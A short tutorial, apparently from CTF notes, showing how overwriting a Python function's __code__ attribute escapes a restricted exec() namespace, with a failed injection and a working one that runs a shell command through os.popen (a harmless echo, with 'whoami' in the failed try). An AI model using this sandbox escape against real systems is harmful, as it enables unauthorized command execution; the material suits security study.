Introduction
The
__code__attribute of a Python function can be overwritten, allowing us to break out of a constrained namespace and use an elevated one.
We can view all the attributes of a Python object using print(func.__dir__()). If we run this on the print function object for example, be able to see its __code__ attribute.
Python 3.10.4 (main, Mar 23 2022, 23:05:40) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(print.__dir__())
['__repr__', '__hash__', '__call__', '__getattribute__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__reduce__', '__module__', '__doc__', '__name__', '__qualname__', '__self__', '__text_signature__', '__new__',
'__str__', '__setattr__', '__delattr__', '__init__', '__reduce_ex__', '__subclasshook__', '__init_subclass__', '__format__', '__sizeof__', '__dir__', '__class__']We can overwrite this attribute with the code of another function or a lambda. Lambdas are generally easier when working with code injections.
Example
def func1():
print(1)
func1()
func1.__code__ = (lambda: print(2)).__code__
func1()Output:
1
2
Namespace Escalation
We can use this property to escalate to a namespace with more functions available. Consider the following exec() injection with a limited namespace.
Note
Notice that the globals available to use in the
exec()function have been limited. In this case, onlyprint()can be called.
Failed exploit
import os
def new_print(x):
print(f"new print {x}")
builtins = {
"print": new_print
}
injection = "print(os.popen('whoami').read())"
exec(f"{injection}", builtins)Output:
Traceback (most recent call last):
File "/home/james/htb/amidst-us/namespace.py", line 13, in <module>
exec(f"{injection}", builtins)
File "<string>", line 1, in <module>
NameError: name 'os' is not definedWe get the error that the os module is not defined, which make sense since it’s not included in the restricted namespace of the exec.
Now, lets try the same code with a different injection. This time we’re going to overwrite the __code__ attribute of print with that of a custom lambda. We’ll then run print().
Working exploit
import os
def new_print(x):
print(f"new print {x}")
builtins = {
"print": new_print
}
injection = "print.__code__ = (lambda: print(os.popen('echo EXPLOITED!').read())).__code__; print()"
exec(f"{injection}", builtins)Output:
EXPLOITED!
Success
The
exec, it’s using the namespace ofnew_printwhich has access to theosmodule and all the default Python built-ins.
With this change, print(os.popen('echo EXPLOITED!').read()) is running as if it’s not in the constrained namespace.